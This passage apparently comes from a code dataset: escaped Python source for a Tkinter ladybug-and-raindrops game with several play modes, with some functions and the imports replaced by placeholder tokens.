bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = 